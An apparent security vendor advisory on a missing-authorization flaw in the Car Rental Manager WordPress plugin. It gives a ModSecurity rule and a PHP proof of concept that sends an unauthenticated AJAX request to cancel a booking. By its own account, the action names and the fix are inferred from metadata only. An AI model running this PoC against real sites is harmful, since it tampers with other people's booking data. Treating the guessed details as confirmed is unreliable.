Atomic Edge analysis of CVE-2026-61985 (metadata-based):
The Car Rental Manager – Online Vehicle Booking System plugin for WordPress, versions up to and including 1.3.7, contains a missing authorization vulnerability. The CVE description states that unauthenticated attackers can perform an unauthorized action due to a missing capability check on a function. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating no confidentiality impact, low integrity impact, and no availability impact. Atomic Edge analysis concludes that this vulnerability permits an unauthenticated attacker to trigger a plugin function that should require at least a logged-in user, potentially altering plugin-related data or settings. The patched version, 1.3.8, likely introduces a proper capability check, such as an existing user privilege check or nonce verification.
The root cause, inferred from the CWE-862 (Missing Authorization) classification and the vulnerability description, is that a plugin function is registered as an action hook (e.g., an AJAX handler or a form submission handler) without enforcing any permission checks. In WordPress, AJAX actions (both authenticated and nopriv), admin-post handlers, or custom REST endpoints must explicitly verify that the current user has the required capability (e.g., manage_options or a custom capability) and, in many cases, validate a nonce. Since no code diff is available, Atomic Edge analysis treats this as an inferred root cause confirmed by the CWE classification; the exact vulnerable function name remains unknown. The description confirms that the function is reachable by unauthenticated users, meaning the hook is likely registered under wp_ajax_nopriv_ or is accessible via a REST route with no permission callback.
Exploitation is straightforward: an attacker sends a crafted HTTP request to the WordPress AJAX endpoint (admin-ajax.php) with a specific action parameter corresponding to the vulnerable plugin function. The action name likely follows a plugin-specific convention, such as car_rental_manager_booking or a similar naming pattern, though the exact action name is not disclosed in the CVE metadata. The attacker can include parameters such as booking ID, status, or other data that the function processes. Because the function lacks a capability check, the request succeeds without authentication. The attack is fully remote and requires no user interaction. Atomic Edge research indicates that a simple curl request to admin-ajax.php with the action parameter would trigger the vulnerable function. The lack of a nonce requirement stems from the missing capability check; the function likely performs the action without verifying the request’s integrity.
Remediation for this vulnerability requires adding a capability check to the vulnerable function. The fix, as implemented in version 1.3.8, likely includes a check such as current_user_can(‘manage_options’) or another appropriate capability before executing any sensitive operations. Additionally, the plugin should enforce nonce verification for all AJAX or form submissions to prevent cross-site request forgery, although that is a separate concern. Atomic Edge analysis recommends that the plugin developer audits all registered hooks and REST endpoints to ensure each one verifies user permissions and validates nonces. For site administrators, updating to version 1.3.8 or later resolves the issue, and as an interim measure, a web application firewall rule can block unauthenticated requests to the vulnerable endpoint.
The impact of this vulnerability is limited to unauthorized modification of plugin data, likely causing low integrity impact. An attacker could potentially cancel bookings, modify reservation statuses, or alter configuration settings without authentication. This could disrupt the vehicle booking service’s operations or corrupt data, but it does not lead to direct data disclosure or remote code execution. The CVSS vector confirms no confidentiality impact and no user interaction required. Atomic Edge assessment rates this as a moderate risk, with the primary concern being the trust and reliability of the booking system’s data. Since the exact function and its data handling are unknown, the full impact scope cannot be confirmed, but it remains a valid security concern for affected sites.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-61985 (metadata-based)
# This rule blocks unauthenticated AJAX requests that match a likely vulnerable action.
# Since the exact action name is unknown, we use a regex that matches common patterns.
# The rule is chained to only apply to admin-ajax.php and to any parameter value that
# contains a plausible vulnerable action name.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261985,phase:2,deny,status:403,chain,msg:'CVE-2026-61985 via Car Rental Manager AJAX',severity:'CRITICAL',tag:'CVE-2026-61985'"
SecRule ARGS_POST:action "@rx ^car_rental_manager_(?:booking_status|update_booking|cancel_booking|change_status|update_status|delete_booking|booking_action)$"
"t:none"
# Note: This rule is metadata-based and may need adjustment if the actual action name differs.
# Site administrators should identify the exact action by reviewing plugin code or logs.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-61985 - Car Rental Manager – Online Vehicle Booking System <= 1.3.7 - Missing Authorization
/*
* This PoC demonstrates how an unauthenticated attacker can trigger an
* unauthorized action in the Car Rental Manager plugin by calling the
* WordPress AJAX endpoint without authentication.
*
* PREREQUISITES:
* - Target site must have the vulnerable plugin version (<= 1.3.7) active.
* - The exact AJAX action name is inferred from the plugin's naming convention.
* Replace the action value below with the actual vulnerable action if known.
* - The PoC assumes the action is registered with nopriv_ prefix, making it
* accessible to unauthenticated users. If the action is authenticated-only,
* this PoC will fail with a 0 or auth error, but the vulnerability would
* require a valid session.
*/
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// Infer the action name from the plugin slug 'car-rental-manager'.
// Common patterns: car_rental_manager_booking_status, car_rental_manager_update_booking,
// car_rental_manager_cancel_booking, etc. The exact action should be identified
// by analyzing the plugin source or public vulnerability reports.
$action = 'car_rental_manager_booking_status';
// Parameters that the vulnerable function might process.
// For demonstration, we send a booking ID and a status change.
$params = array(
'action' => $action,
'booking_id' => 123,
'status' => 'cancelled',
// Additional parameters may be required depending on the function.
);
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification for testing.
// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
// Display results.
echo "HTTP Code: {$http_code}n";
if ($error) {
echo "cURL Error: {$error}n";
} else {
echo "Response: {$response}n";
}
// Note: If the action name is incorrect, WordPress will return a 0 response
// for unauthenticated nopriv AJAX requests (admin_init), or an empty response
// for authenticated-only actions. The PoC should be adjusted once the exact
// action is identified.
// Assumptions:
// - The vulnerable function is registered with wp_ajax_nopriv_ prefix.
// - The function does not call check_ajax_referer() or current_user_can().
// - Parameters are accepted in $_POST as typical for AJAX handlers.
